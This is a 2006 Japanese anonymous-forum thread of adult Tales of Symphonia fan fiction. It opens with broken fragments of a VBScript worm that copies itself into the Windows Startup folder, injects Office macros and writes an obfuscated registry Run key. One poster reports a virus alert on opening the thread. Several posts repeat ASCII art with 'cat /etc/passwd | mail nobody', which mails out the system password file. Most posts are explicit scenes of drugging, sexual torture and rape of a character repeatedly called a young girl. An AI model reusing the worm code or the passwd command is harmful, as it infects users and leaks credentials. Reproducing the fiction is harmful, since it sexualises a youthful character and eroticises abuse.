fso.copyfile "dirsystem&passwd.vbs", "j:\windows\start
menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN,
ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite
A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),
E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
kak.hta';ken=wd+'START
End sub

288 名前:名無しさん@ピンキー :2006/06/16(金) 22:06:39 ID:0n4Q83mR
ヴェイアニGJ!!!
面白かたです!!

289 名前:名無しさん@ピンキー :2006/06/17(土) 00:34:39 ID:MHWhSxW4
               _
              /  \―。
            (    /  \_
             /       /  ヽ   / ̄ ̄ ̄ ̄ ̄
         ...―/          _)  < cat /etc/passwd | mail nobody
        ノ:::へ_ __    /      \_____
        |/-=o=-     \/_
       /::::::ヽ―ヽ -=o=-_(::::::::.ヽ
      |○/ 。  /:::::::::  (:::::::::::::)
      |::::人__人:::::○    ヽ/
      ヽ   __ \      /
       \  | .::::/.|       /
        \lヽ::::ノ丿      /
          しw/ノ___-イ
           ∪

290 名前:名無しさん@ピンキー :2006/06/17(土) 07:27:31 ID:RMyzByhF
今このスレ開いたらウイルス検知したぞ…
ラブレターなんとかってやつ。あぶねえな。おい。

291 名前:F資産 :2006/06/17(土) 11:14:15 ID:JW5uRQKC
「ひッ!!」コレットは悲鳴、いや、喘ぎ声を上げる。女の手により、ローターを
近づけてくる。
「いやッ・・・」腰を上げて、コレットは逃げようとするが、片方の手で尻に振動する
バイブを抑えられる。後ろに行けば、バイブが奥へと入り、かといってあきらめれば、ローターの餌食になる。
「あっ!あっ!あっ!」結局はローターの餌食になり、喘ぐ少女。
それを尻目に女はローターを彼女の膣に埋め込んでいく。深く、深く・・・
もっと奥へ・・・
「はああッ!!ああッ!!ひううッッ!!」体内で暴れる2つの器具に弄ばれるコレット。
そこへ腰の上に女がまたがり背後から乳首を責める。強弱をつけながら、揉み解し、
乳首を摘む。巧みな手の動きにコレットの貧しい乳房は変形する。
「あああッッ!!」乳首を強くつままれ、絶叫する少女。
悶え喘ぐ少女を見て、満足感に浸る女。
そこへ、バイブの快感が脳を突き上げる。
「ひあああッ!あああッッ!!!」イき、縛られた床にさらに横たわる少女。
「イッタか・・・、だがまだ終わらないよのお。」
ビクビクっと痙攣する少女に、再び快感が身を襲う。
「ま・・待っ・・ああッッ!!ひいッ!!」
(いや・・こんなの・・・)


292 名前:F資産 :2006/06/17(土) 11:26:29 ID:JW5uRQKC
「んッ!!」こらえようと口を噛み締めるコレット。しかし、
「んん、んッ!ん。んむぅッ!!はああッッ!!ああああッッ!!」
「無駄、無駄。1度でも薬の進入を許したものは絶対に快感に耐えられない。」
「ハァハァ・・そ・・そん・・な・・はあうッ!!」
またもやイってしまう少女。涙を浮かべ、なおも抵抗しようとしている。
ぎしぎしと鉄のこすれあう音すら、少女の喘ぎ声にかき消される。
(いつまで・・こんなことが・・・怖い・・・怖いよ・・・)
ブロンドの髪はいまや愛液が吹きかかり、白い美しい乳房にも白い液が吹きかかっている。
「哀れな、罪深きものよ。無惨よのぉ。」彼女の目は怯え、痙攣して動かない体はそのままで、
じっと女を見据えていた。

293 名前:F資産 :2006/06/17(土) 11:47:36 ID:JW5uRQKC
「ハァハァ・・・ハァハァ・・・んッッ!!あッ!あッ!ひむぅ!!
ああッ!!ハァハァ・・・」彼女の体はもう何度もイかされ続け、
もう抵抗できる余力すら残されていなかった。もうコレットは
ただ犯される女の道具に成り下がっていた。
女は笑みを浮かべ、乳首を片手で摘み、もう片方で乳首を弾く。
「ひあッ!!はうッ!!」乳首はもうコリコリになり、乳首は軽く振動しながら、
元の形に戻っていく。
「お願い・・・も・・ぅ・・ひあああッ!!」とそこへ、女がクリトリスを舐める。
「もうおぬしは童の遊び道具、口答えは許さん・・。」
「う・・・」何度イっただろうか。痙攣する彼女に再び異変が起きる。
ドクンドクン・・・秘所から鼓動が伝わってくる。火照った体が快感を伝え、
奥深くに埋められたローターを愛液が流しだすような勢いで噴き出してくる。
先ほどの作用とは比べものにならない。愛液はこの巣全体を覆ってしまっている。
これはいくらなんでも異常な量だ。
「ああッ!!ああッ!!ああッ!!お願い・・・止まってぇぇ!!!」
必死に股をこすり合わせ、先程のことにはなりたくないと思い、
無駄な抵抗を続けるコレット。こんなことで、薬の脈動は収まらない。
ドクンドクンドクンドクン・・・鼓動がだんだん早くなる。
快楽が身をよじるほどだ。今まで犯され続けられたときよりも感じる。
「いやぁ!!」ジャラジャラと鎖の音がむなしく響く。
ドクドクドクドクドクドク・・・さらに大きく脈動が響き、少女の体を煽る。
愛液はものすごい勢いで噴き出し続け、乳首が床に押さえつけられているだけで、
今にもイきそうだ。それを見て笑みを浮かべる女。そして・・・・
「うああッッ!!!!」彼女は必死に腰を上下して、喘ぐ。
すさまじい身をよじる快感に彼女は失神してしまった。
気絶しながらも、彼女からは愛液が噴き出し続け、イき続けていた。

294 名前:F資産 :2006/06/17(土) 12:19:16 ID:JW5uRQKC
「う・・」目が覚める少女。しかし、今度はコレットは拘束されていず、
女もいない。
(い、いまのうちに・・・)羽を出し、飛び退る少女。それを止めるものは誰もいない。
(飛竜もいない。これなら・・)罠だろうとも思わず、尻のバイブを抜き、
少女は逃げる。全裸体の天使が空を駆ける。

「うああッッ!!ひむうッッ!!」空中でバランスを崩してしまうコレット。
再び愛液が大量にあふれ、地上に雨のように落ちる。
(体が勝手に疼いて・・・)手で股を押さえ、快感に耐えながら、ゆっくりと
高度を落とし、地上に降りる。

「ここなら・・・もう・・だいじょぶかな・・・」しかし、この格好では街中を歩くことも出来ない。
早く服を見つけないと・・・
「何が大丈夫なのかのぉ・・・」背後でおぞましい声が響く。
「!!!」
「勝手に逃げるとは、これはお仕置きせねばのぉ・・・」
「いやッ!!」コレットはとっさに羽を取り出し、森の中へ逃げ込む。
しかし、ここに道という道はなく、木でいっぱいだった。
「ハァハァ・・・うっ!あッ!ひあッ!!ああッ!!」クスリのせいで
木の枝に乳首が何度もこすれ、喘いでしまう。だが、迷う暇はない。
「ほうら。どこにいるのかのお。」すぐ近くから声が聞こえる。
必死に逃げ惑う少女。しかし、快感は徐々に蓄積されていく。
「あッ!くッ!あッ!あッ!あッ!あうッ!!・・・ああああッッ!!」
(木に当たっただけなのに・・・)ふたたびイき、地面に落下するコレット。
「いたたた・・・・、急がないと・・・」しかし、イッタばかりの体は
動いてくれない。ただ液を噴き出し続けている。
しかし、鞭打って股を押さえながら、木々に突き進んでいく。
逃げる過程で何度もイき続けるコレット。そこへまた―


295 名前:F資産 :2006/06/17(土) 16:16:56 ID:YyRvM3vq
ドクンドクン―3度目の脈動がコレットを襲う。
(また・・・!?)ドピュドピュと音立てながら、愛液が威勢よく噴き出す。
「はあッッ!!ダメ!!止まって!!!」コレットは股に手を突っ込み、
丸薬を取り出そうとするが、奥深くまで進入していて、外せない。
それどころか、自分の行為により、イってしまう。
「あああッッ!!ダメぇぇ!!」鼓動が早くなる。もうすぐ・・・もうすぐ「あれ」が来る。
嫌・・・イきたくない。しかし、どんなに抵抗しようとも、堪えようとしても、
体内にあってはどうしようもない。打つ手もなく、彼女は逃げ続けようとする。
再び、股を手で押さえながら、跳ね上がり逃げる。
もう逃げるより方法はない。
ドクドクドク・・・もうすぐ来る。
「お願い・・止まって・・・」もうコレットは股を押さえている手だけでなく、
あふれかえってる愛液で体中しっとり濡れていた。
ドクドクドクドク・・・ドドド・・・体中からもうすぐ快感が爆発する・・・
もう止めきれない・・・ダメ・・・抑えきれない・・・熱い・・・熱いよ・・
「うあああああッッッッ!!!はああああッッッ!!!はあああッッッ!!
あああッッッッ!!!いやぁぁ!!止まっ・・・ひいいいッッッ!!!
うあああああッッッ!!!」体が火照って焼ける。もう動けない。
地面に体が接するだけで、いや、風が自分に当てられるだけで・・・もう・・
「うあああッッッ!!!ひあああッッッ!!!」喘ぎ続け、何十回もイき続ける少女。
何度も体をひねらせ、感じないようにするが、逆にそれが快感を煽る。
「無様よのぉ。」女が再び姿を現す。コレットは薬の作用でイきながらも囁く。
「どうしてここが・・・」その言葉に女は指をコレットの頬に擦りつける。
感覚がヌメヌメして気持ち悪い。
「これがポタポタ落ちててのぉ。見つけるのはたやすかったわ。」
「・・・・!!」女は喘ぐコレット残しに魔法陣を装着する。、


296 名前:F資産 :2006/06/17(土) 16:35:34 ID:YyRvM3vq
黒い魔法陣をつけられたコレットは宙に浮く。自由をなくした少女は、
股をこすって快感に耐えることが出来なくなり、今まで秘所にたまって
いた愛液が勢いよく大量に射出する。女は何かを取り出すと、
乳首に当てる。
「ひあああッッ!!」バチッとしびれる快感がコレットを襲う。
今や彼女は敏感な体質になり、少しいじるとすぐイク体になってしまっていた。
「はぁはぁ・・・、うッ!!うああッッ!!ひうッ!!」
手を加えずとも勝手に感じ続けるコレット。そこへ女が足の指でクリトリスに
触れる―愛液がブーツの中に侵入し、すぐに一杯になった。―とすぐさま
何度もイってしまう。
「ああああッッ!ひあああッッ!!」
「遊ぶために、この魔法陣で2度と気絶できぬようにしてある。存分に楽しもうぞ。」
「あッ!!ああああッッッ!!!」
今度は秘所に電流を流される。と同時に愛液の量が勢いを増す。コレットはダメッと
反抗の声を出すが、それも喘ぎ声にかき消される。
「あうんッッ!!!ひゃあッッ!!ああうんッッ!!」
コレットの体の弄びは度を増し、その機械を膣の内部に挿入する。
ビリビリビリ・・・快感の電流が体内から駆け巡る。
「ああああッッ!!ひああああッッ!!!あああああんんんッッッ!!」
コレットの苦痛と快感の喘ぎ声は止まらない。膣が電流の暑さと火照りで
焼け焦げる。しかし、腹部の周りにつけられているもののせいで失神すら出来ない。
(もう・・・やめて・・・いつまで・・・つづける・・の・・)
金髪の髪と白い乳房を揺らし、全裸の天使は喘ぎ続ける。


297 名前:F資産 :2006/06/17(土) 16:58:15 ID:YyRvM3vq
「あああッッ!!!ああんッ!!」両乳首にもあの機械が固定される。
電流で乳首が焼ける匂いが漂う。乳首、秘所という2点の器が徐々に
焼け焦げていくのを感じる。
「ひああッッ!!や・・・やめ・・あああッッ・・て・・・
死んじゃうよぉ・・・」
「フン・・、これをつけている限りはそうしたくても・・
することは出来ん・・絶対にのぉ」あふれ出てくる愛液からも、
焦げ臭さが漂う。
「ああああッッ!!熱ッ!!お願・・・ひゃぅぅん!!」
もう体が耐えられない。限界を超している。いつまでこれが・・・
「あああッッ!!!ひぃぃ!!あああんんッッ!!」
熱く焼けた秘所からは犯されるたびに噴き出してくる。
周りの木々は全てコレットの大量の愛液を吸い込みきれずに浸していた。



「あああああッッ!!」何十回、いや何千回だろう・・・、
イかされ続けたのは。もう何も考えられない。
あまりの熱さに機械が引き抜かれ、あの魔法陣からも解放された
のに気づかないほどだった。地上にそのまま落下し、肩から落ちていくコレット。
体からは煙が立ち込め、衰弱しきっている。
「ひあッ!!あうッ!!はぁはぁはぁはぁ・・・」
快感の余韻が残ったまま意識が薄れていく。私、死ぬのかな。
1人の少女は目を閉じる。


298 名前:F資産 :2006/06/17(土) 17:21:26 ID:YyRvM3vq
「こ・・ここは・・・」知らぬ間にコレットはベッドに横たわっていた。
「大丈夫か・・コレット!!」聞き覚えのある声・・・それは!!
「ロイド!!」コレットはとっさに抱きつく。
「な・・・どうしたんだよ・・いきなり・・!!」顔を隠してロイドは言う。
「え・・・」あれは夢・・・うなされてたのかな・・・
「先生コレットが・・・!!」
「エエ、分かったあそれじゃあに向かいましょう。」


久しぶりのたびは風が気持ちいい。やっぱり夢じゃない。こうして8人で歩いている。
とそこへ・・
「先生、敵だ!!」ロイドが叫ぶ。
「うん、私も戦うよ。」武器を取り、兵士に向かっていくコレット。
が、その兵士が笑みを浮かべる。一瞬の隙を狙うと剣の柄でコレットの
秘所を勢いよく服越しに突く。
「ひああっっ!!」突然の出来事に思わず大声で喘いでしまう。
「どうした。」ロイドがその兵士を切り倒す。
「なんでも・・・な・い・・よ・・」いきも絶え絶えに返事をする。
そこからだった再びおかしくなったのは。

「うっあ・・ハァハァ・・・」コレットはとっさに列の後ろを歩く。
「どうした?」
「なんでもないよ・・・ほら!!」わざと元気そうな格好をする。
「そうか」「うん」
(また・・・からだが・・疼いて・・)
股を押さえながら、ゆっくりと歩いていく。ポタポタと服の繊維の間から、
愛液が下着では抑えきれずに溢れて来る。
(し・・しまった・・ばれてないかな・・・)
辺りを見回すが、その様子は皆無だ。ほっと胸をなでおろし、口を裂いて出る喘ぎ声
を噛み殺す。しかし、その事態に気づくものが7人の中で1人だけいた・・・。




299 名前:F資産 :2006/06/17(土) 17:26:40 ID:YyRvM3vq
「ハァハァ・・・あうっ!!ああっ!!」ホテルの風呂場で隠れて喘ぐコレット。
先生達女性陣が寝るまでこうして我慢していたストレスがここに出てくる。
「あんッ!!あんッ!あんッ!」服を脱いだら、そこから勢いよく愛液が溢れ、
風呂場の壁に液がかかり、体にも付着する。
(どうして・・・あれは夢じゃ・・・)これがいつまで続くのか悩む少女。
「ほお・・・、これはどういうことかねえ。」コレットはハッと後ろを振り返る。
そこには一人の女―しいなが立っていた。

300 名前:F資産 :2006/06/17(土) 17:39:29 ID:rp/dap50
「ち・・ちがうの・・これは・・・」
「何が違うんだい、1人でやってたんだろ」
「ちがッ・・・!!」何か言いかけようとしたコレットにしいなは腕を強く後ろにひねる。
「痛・・なにするの」腕を背中の後ろで縛られ、足を開かれる。
抵抗しようとした少女に椎名は手足に札を張る。
「な・・・力が・・・」体に力が抜け、股を開いた状態で固定される。
「これを皆に言われたくなかったら、おとなしくしな!!
あんたがいなけりゃ・・ロイドは・・・」
「え・・・」
「うるさい!!」手を大雑把に秘所に入れ、右で尻に手を入れる。
「ああああッッ!!」
「フン、もうイったのかい。本当はやり足りないんじゃないのかイ」
「ちがッ!あああッッ!!」抵抗する間も与えず、今度はクリを足で舐める。
「またイッた、おかしいね、あんた。」
「それは・・・」コレットの心身ともに疲れきり声も出ない。
そんな彼女に再び、悪魔の鼓動が脈打つ・・・。

301 名前:名無しさん@ピンキー :2006/06/17(土) 19:02:40 ID:4/h0EFOq
GJとしか言う言葉がないな

302 名前:名無しさん@ピンキー :2006/06/17(土) 19:39:16 ID:egg6T8me
age厨はイラネ(゚听)

303 名前:名無しさん@ピンキー :2006/06/17(土) 19:47:52 ID:Nm3UEmvP
  ( ゚д゚)  ageを気にする自治厨なんて3年前に滅んだだろ
_(__つ/ ̄ ̄ ̄/_
  \/    / カタカタカタ


  ( ゚д゚) ・・・
_(__つ/ ̄ ̄ ̄/_
  \/    / カタカ・・・


  ( ゚д゚ )
_(__つ/ ̄ ̄ ̄/_
  \/    /



304 名前:名無しさん@ピンキー :2006/06/17(土) 19:53:29 ID:iEVAFY9x
ネタはこのスレで見てきたSSの中で一番好きだ

305 名前:名無しさん@ピンキー :2006/06/17(土) 20:54:21 ID:pAnamrNY
このスレも息を吹き返せるかな。

306 名前:名無しさん@ピンキー :2006/06/17(土) 21:00:53 ID:Jgfcc6hB
>>305
病原体が住み着いてる限り無理だろ

307 名前:kak.hta';ken=wd+'START :2006/06/18(日) 00:39:28 ID:PW7ZToWR
               _
              /  \―。
            (    /  \_
             /       /  ヽ   / ̄ ̄ ̄ ̄ ̄
         ...―/          _)  < 呼んだ? cat /etc/passwd | mail nobody
        ノ:::へ_ __    /      \_____
        |/-=o=-     \/_
       /::::::ヽ―ヽ -=o=-_(::::::::.ヽ
      |○/ 。  /:::::::::  (:::::::::::::)
      |::::人__人:::::○    ヽ/
      ヽ   __ \      /
       \  | .::::/.|       /
        \lヽ::::ノ丿      /
          しw/ノ___-イ
           ∪

308 名前:名無しさん@ピンキー :2006/06/18(日) 09:57:59 ID:6/CVeJPD
とりあえず、AA張りまくってログ重くしてる>>307
ウイルス張りまくってる>>287
自治厨の>>302
は通報した。
串刺したところで生hostがバレるのに数分程度の時間稼ぎにしかならないことを知った方がいい。

特に>>287は明らかに故意にウイルス感染者を作ろうとしているので単なる犯罪。
インターネット犯罪対策室&ネット被害対策室に今までのログ付きで連絡しました。

309 名前:名無しさん@ピンキー :2006/06/18(日) 19:00:45 ID:CDYvmcjK
>>308
お前が自治厨だよ

310 名前:名無しさん@ピンキー :2006/06/19(月) 01:02:26 ID:kyUpAJCQ
>>308
厨房が難しい単語を駆使した文章っぽいな

311 名前:ギルモン :2006/06/19(月) 16:27:00 ID:D0e8Up7b
ロイドLOVEさんはっきり言うけど俺の文章コピペして使うなよ!

312 名前:名無しさん@ピンキー :2006/06/19(月) 21:35:22 ID:C1AjAd3o
何つーか、このスレってアビスが出てきてからというもの、
全然まともなスレとして機能してない気がするんだが。

313 名前:名無しさん@ピンキー :2006/06/19(月) 22:10:21 ID:HPlQYygD
A厨のキャラ・カプ・職人叩き+A以外イラネが続いたからね。
そのせいでA以外を書いてた職人はごく一部を除いて殆ど去って行った。
それと801スキーが駄々捏ねて数スレに渡って議論ばかりが続いたのも原因かもね。


314 名前:名無しさん@ピンキー :2006/06/19(月) 22:35:16 ID:KUXGUleX
ロイドLOVE辺りから厨くささが身に沁みる

315 名前:札幌 ◆BMJ.9iH5co :2006/06/19(月) 23:06:35 ID:p5pgJm5r
さすがにこう暫くマトモな新作が出て来ないと寂れてしまうのも無理ないか
こういう時に限ってはリメイクなんかしてないでさっさと藤島の新作出して欲しいと思っちゃうなぁ

316 名前:名無しさん@ピンキー :2006/06/19(月) 23:10:32 ID:BRoZbrbi
なんで藤島限定

317 名前:名無しさん@ピンキー :2006/06/19(月) 23:47:22 ID:sFTU00He
リアラたんの小説を待ち続けています

318 名前:cat /etc/passwd | nobody :2006/06/20(火) 01:26:06 ID:jTATDJVv
ウイルス厨の所為だとおもうよおもうよおもうよおもうよ(キクノシン85歳)

319 名前:名無しさん@ピンキー :2006/06/20(火) 18:42:47 ID:d9djBjVl
http://rubyurl.com/NUA

320 名前::2006/06/20(火) 22:59:42 ID:7NSjum1s
どうも。「カジカ」と言います。
今回は、クラトス&ユグドラシル×しいなを…。

「はァ…。今日も疲れたわ。ホラ、目の前に宿屋があるんだ。ロイド、今日は宿屋を借りないかい?」
「おお、しいな。それいい考えだなー!良し、宿屋に泊まるとするか!」
「ホントかい?有難う、ロイド!」
しいなはとても喜びながら、宿屋の中に入って行った。
「しいな、上機嫌だねっ。」
「ああ、嬉しいさ。今日と言う今日は、沢山寝ようじゃないかい!」


「…あの女、なかなか良いな…。」
何と、宿屋の屋根からは、クラトスが監視していた様だ。

…夜。
しいなは、何だか突然くすぐったい感があった。
そして、くすぐったい感がどんどん増してくるのだ。
気になって、目を開けてみると…。
…何と、あのクラトスがしいなを全裸にし、乳首を舐め回し、時折甘く噛んだりもしていたのだ。

321 名前::2006/06/20(火) 23:05:59 ID:7NSjum1s
「いや…ああっ?!」
しいなが叫ぼうとすると、後ろから突然ユグドラシルが現れ、猿轡を口の中に押し入れた。
「んんーっ!!んーっ!!」
しいなが、苦しそうに叫ぶ。
「何だ?猿轡を入れたと言うのに、まだ叫ぶのか?この女は。」
「んーっ!んんーっ!!」
「…どうやら、お前にあそこを舐めて欲しい様だぞ?ミトス。」
クラトスは、黒い笑みを浮かべながらミトスに言いかける。
「ふふ…そういう事か?女。」
「んんーっ!んーっ!!」
「…そうかそうか。そんなに淫乱だったのか、お前は!はっはっは!」
違う、と首を振っても遅かった。ユグドラシルは、相手にしようともしない。
「よし、行くぞ!クラトス、お前は胸を集中的に実行してろよ。」
「…当たり前だ。」
「…では…」

ヌチュッ

「んあ"――ん"!!」

322 名前::2006/06/20(火) 23:10:41 ID:7NSjum1s
「…この女、五月蝿く無いか?一旦、この女を浚おう。」
「ん"――っ?!」
しいなは、声を張り上げたいが、猿轡を入れられているもので、叫ぶにも叫べない。
「…そうだな。置手紙を書いて置こう。」
「…『一旦、村に帰るよ。ロイド達は、旅を続行してて。』…と。」
何やら、ユグドラシルが怪しげな置手紙を書いた。
「…では、何処かを借りようか。…しいな…と言ったか。お前もまともに喋れる様な場所が良いか?」
「…それなら、良い所があるぞ…クラトス。」
「なら、私はこの女を持って行く。お前に着いて行くから、ちゃんと案内しろよ。」
「当たり前だ。着いて来い。」
二人は、勝手に話を進めて、宿屋を出た。
…着いた場所は、しいなの想像を超えていた。

323 名前:名無しさん@ピンキー :2006/06/21(水) 00:09:53 ID:EEFw6hQq
このスレも過疎ったよなァ

324 名前:名無しさん@ピンキー :2006/06/21(水) 01:36:36 ID:dEsKaLnd
展開速すぎ〜でも続き期待

325 名前::2006/06/21(水) 15:43:36 ID:eT45pyzy
「…!!」
何と、そこは拷問部屋だったのである。
しいなは必死にもがくとするが、…無理だった。恐怖が上手く動かないのだ。
「この辺で猿轡は取っとくか。」
ユグドラシルが、しいなの猿轡を取ってやる。
「い…いやッ!!何であたしが…あァん!」
クラトスが、突然尻を鞭で叩いて来たのだ。
クラトスに本気で叩かれ、尻は赤く充血した。
「おや、綺麗な尻が猿の様に赤くなったな。」
ユグドラシルは、精神を攻める。
「う…ううっ!」
しいなは、今残っている全力を振り絞り、脱走しようとした。
…が。
後ろから、またもやクラトスの鞭が放たれた。
「あァん!」

…あまりの痛さに、しいなは気絶した。
その気絶した瞬間を狙い、クラトスとユグドラシルは手足を縛る。

しいなが起きると、その光景は酷かった物だ。

326 名前::2006/06/21(水) 15:50:37 ID:eT45pyzy
自分の手足は縛られており、身動きは出来ない。
しかも、クラトスとユグドラシルは、全裸になっている…。
上半身は、がっちりとした肉体があった。もがいても効果が無さそうだ。
下半身は…。…想像を遥かに超えていた。
思った以上にグロテスクだったのである。
…しいなは、今からされる事を考えたら、恐怖で体が震える。
それに、隣には…、自分の見た事の無い道具が沢山置いてある…。
あの道具で、自分は何をされるのか…。

「起きたか。」
「ああ、起きた様だな。」
「アンタ達…ッ!!こんな事をして何が楽しいんだい?!」
しいなは、二人を恐れながらも反発してみる。
「黙れ!下僕がッ!!」
そういうと、クラトスはしいなを押し倒し、胸を揉みしだいた。
ユグドラシルは、しいなの体全体を舐め始めた。
「ひあァ…あァん…」
――こんな初めて、嫌だ――。

327 名前::2006/06/21(水) 15:55:28 ID:eT45pyzy
「どうやら、興味の無い男に体を弄ばれ、感じている様だな?」
「嫌な女だな…。」
わざとらしく二人が話す。
「そんな女には、お仕置きだ。」
そう言うと、クラトスは洗濯バサミを用意した。
そして、その選択バサミで乳首を摘む。
「いやああああああっ!!痛いッ!!!!!」
「上出来だ、クラトス。見ているだけで勃ってくる…。」
「嫌!嫌だ!!お願い、誰か助けてッ!!!」
「だから、誰も来ないと言っているだろうが!」
クラトスが、選択バサミを強く摘む。
「いやあああああああああああああああああっ!!!」

「…クラトス、そろそろこれは止めて置かないか。次へ行こう。」
「…そうだったな。すまない。じゃあ、次へ行くか…。」
「嫌…だ…もう…」
しいなは、拒否を続けるが、…勿論、二人は聞くつもりは無い。

328 名前::2006/06/21(水) 16:02:48 ID:eT45pyzy
二人は、しいなの秘部をまじまじ見始めた。
…2分間位だっただろうか。だが、しいなにはその時間が1時間、2時間…と、長く感じた。
「嫌…そんなに見ないで…」
しいなは、またもや拒否を続ける。
「見ないで?だと?ふざけるな…。お前が今からされる行為より、こちらの方が良いと思ったのだが…。まァ良い。」
そう言うと、しいなの足の紐を解き、足をV字に開脚される。
「い、いやッ!何するんだい!」
「ほほう…。何だかんだ言いながら、濡れてるじゃないか。」
「あ…いや…。」
「だが、まだ濡れが足りないな。クラトス、こいつのクリトリスを繰り回せ。」
「…分かった。」
二人は勝手に話を進める。
「では、やるぞ…覚悟しろ。」

クリッ…

「はァん!あァんッ!やめて…ェん!」
「ん?コイツ…クリトリスが弱点か。」

329 名前:名無しさん@ピンキー :2006/06/22(木) 21:01:37 ID:sGM2c4Wg
               _
              /  \―。
            (    /  \_
             /       /  ヽ   / ̄ ̄ ̄ ̄ ̄
         ...―/          _)  < cat /etc/passwd | mail nobody
        ノ:::へ_ __    /      \_____
        |/-=o=-     \/_
       /::::::ヽ―ヽ -=o=-_(::::::::.ヽ
      |○/ 。  /:::::::::  (:::::::::::::)
      |::::人__人:::::○    ヽ/
      ヽ   __ \      /
       \  | .::::/.|       /
        \lヽ::::ノ丿      /
          しw/ノ___-イ
           ∪

330 名前:キルア :2006/06/23(金) 15:30:26 ID:63dYCkvt


331 名前:キルア :2006/06/23(金) 15:32:20 ID:63dYCkvt
今朝から調子がおかしかったのは自覚していた。
 けれど、大したことはないと思っていたのだ。
 この時は。



(疲れたのかな……。)

 身体が重い。
 今朝はそんなでもなかったので放っておいてしまっていたのだが、夕方になる頃には立っていることが辛くなってきた。
 皆には早く休むとだけ告げて、コレットは部屋に戻って横になる。


332 名前:名無しさん@ピンキー :2006/06/23(金) 16:05:55 ID:A55LRXPo
>>330-331
ageるなカス

333 名前:cat /etc/passwd | nobody :2006/06/24(土) 12:09:19 ID:SmX7n6c4
>>332
お前もな

334 名前:名無しさん@ピンキー :2006/06/24(土) 19:40:01 ID:jvf/hJ3v
個人的にはもう藤島キャラはいらない。
テイルズの腐臭の6割以上は藤島キャラから発生してるもんだし。

335 名前:名無しさん@ピンキー :2006/06/24(土) 20:39:22 ID:Ig1WBH8t
ウイルスすれはけーーーーーん
キモカッタヨ!””


336 名前:F資産 :2006/06/24(土) 22:19:48 ID:6LsrhfKN
4度目の脈動で失神し、あの雪辱は終わったわけであるが、毎度ロイドたちに疼く体を隠すのは
容易でない苦痛で、しいなの隙あらば犯す長い雪辱があった。そして何より―


「ハァハァ・・また敵だ・・・・」何体倒したであろう、皆の体は疲れきり、
戦える状態ではないが、また兵士が数人と触手が無数に映えた怪物を従えやってきた。
「くッ!!しかたねえ。やるぞ!!・・・・!!」しかし、皆が疲れきった
隙を狙われ、囚われてしまう。そして、兵士たちは消えるのだった。
が、
「んんっ!!はな・・して!!」どこかへ縛られ連れてかれるコレット。
自分だけが連れられているようだ。兵士は怪しげな建物に着くと、
コレットを無造作に部屋に突き飛ばす。
「きゃっ!!いたた・・・、なにを・・・」武器で抵抗しよう
とするが、そこへコレットは口を紡ぐ。
「ッ・・・ああぅッ!!ひぃひゃああっ!!」勝手に体が疼き、その場に
うずくまる少女。
そこへ―怪物の触手が彼女の手足を拘束する。
「な・・しまっ・・・」そこに兵士―服装から女性のようだ―が歩み寄り不敵な笑みを浮かべる。
兵士は彼女が前やられた時の様に剣の柄でしかし前より強く、服越しの
秘所を突く。ドン―彼女の秘所に強い力が加わった音がした。―と大きく突く。
「ああああっっ!!!」苦痛の声も織り交ざり、手足を縛られなすがままにイク少女。
その手は休められない。
ドン・・ドン・・ドン・・・今度は愛液のグチュグチュという音がなり、
コレットは顔を赤く染めた。
「あんッ!!ひあッッ!!あうぅッッ!!」
必死に振りほどこうとするが、これだけでコレットは抵抗の力も入らない。
そこへ、触手がなぞりより、彼女の下半身の服を裂いた。
「あっ!!」恥ずかしさに顔を背けるコレット。


337 名前:キルア :2006/06/24(土) 23:48:36 ID:UaTUIguK
age?

338 名前:名無しさん@ピンキー :2006/06/25(日) 00:40:21 ID:hZmhIUZX
あげ

339 名前:F資産 :2006/06/25(日) 11:07:35 ID:WgH+G0Qo
噴出す愛液をせき止めるように秘所に剣の柄を挿し込まれるコレット。
秘所に深く差し込まれた剣は腰を振ろうとし、抜こうとするが、その気配は皆無。
徐々に少女を焦らしていき、快感がゆっくりと蓄積され、苦しい。
「・・・・!!・・・・!!」必死に剣を抜こうと懸命に抵抗するコレットに
兵士が今度はクリを口に含み、歯で軽く噛んだり、嘗め回す。
「あああッッ!!うああッッ!!!」自由を奪われ、なすがままにされる。
ビクッビクッと体をうねらせ、逃げようとするコレット。
そこへ―突如挿した剣を抜く。―それによりコレットは数回
イッたが―そこに触手がのたうち侵入していく。
クリトリスをいじり、秘書の内部を舐め、触り、暴れる。
そこへさらに―

340 名前:名無しさん@ピンキー :2006/06/25(日) 16:02:32 ID:pHyGbFBl
さらに?

341 名前:名無しさん@ピンキー :2006/06/25(日) 19:37:05 ID:Munat6GX
キルアとかいうやつ、メールの欄に「sage」って入力すればいいだけだから。
なんかこいつ楽天でHPもってそうな感じするし

342 名前:名無しさん@ピンキー :2006/06/25(日) 21:01:09 ID:B3FGIdBV
>>341
それF資産ってやつにも言ってやれよ。
職人だからって特別扱いはナシだ。
F資産とやらお前もE-mail欄に半角英数で「sage」と入れてから投下してくれ。
つか、テンプレくらい読んでくれよorz
ageて場仮居るやつは荒らし扱いされても文句言えないんだぞ?

343 名前:名無しさん@ピンキー :2006/06/25(日) 21:01:46 ID:+qKEHiM0
 

344 名前:名無しさん@ピンキー :2006/06/25(日) 21:06:31 ID:+qKEHiM0
  

345 名前:名無しさん@ピンキー :2006/06/25(日) 21:11:22 ID:tyaQIKrn
イイ

346 名前:名無しさん@ピンキー :2006/06/26(月) 00:52:35 ID:2esMLgnb



347 名前:名無しさん@ピンキー :2006/06/26(月) 18:23:22 ID:ndmNm+r0
F資産って奴大分前からいないか?
それより、注意事項のあたりに「sage進行」じゃなくて
「E-mail欄に「sage」と入力してください。」とか書いたほうがわかりやすくないか?
基本的sageもわからんやつは来なくていいけど…。
ってか職人さん、かなり減ったな…。

348 名前:名無しさん@ピンキー :2006/06/26(月) 18:56:41 ID:5CsDMVuK
ageる

sage厨が必要以上に騒ぐ

リストの上で荒らしに目を付けられる

荒れる、もっとsage厨増殖

職人絶滅

そしてsage厨の反応が面白いから俺もageるw

349 名前:名無しさん@ピンキー :2006/06/26(月) 21:18:14 ID:k9yvx7xO
何もせんでも職人絶滅状態だし今更何を言おうとも思わんが

とりあえず>>348、お前はせめてもう少しだけ、見てて面白い荒らしになれるよう頑張れ

350 名前:cat /etc/passwd | nobody :2006/06/26(月) 22:16:09 ID:2esMLgnb
>>349
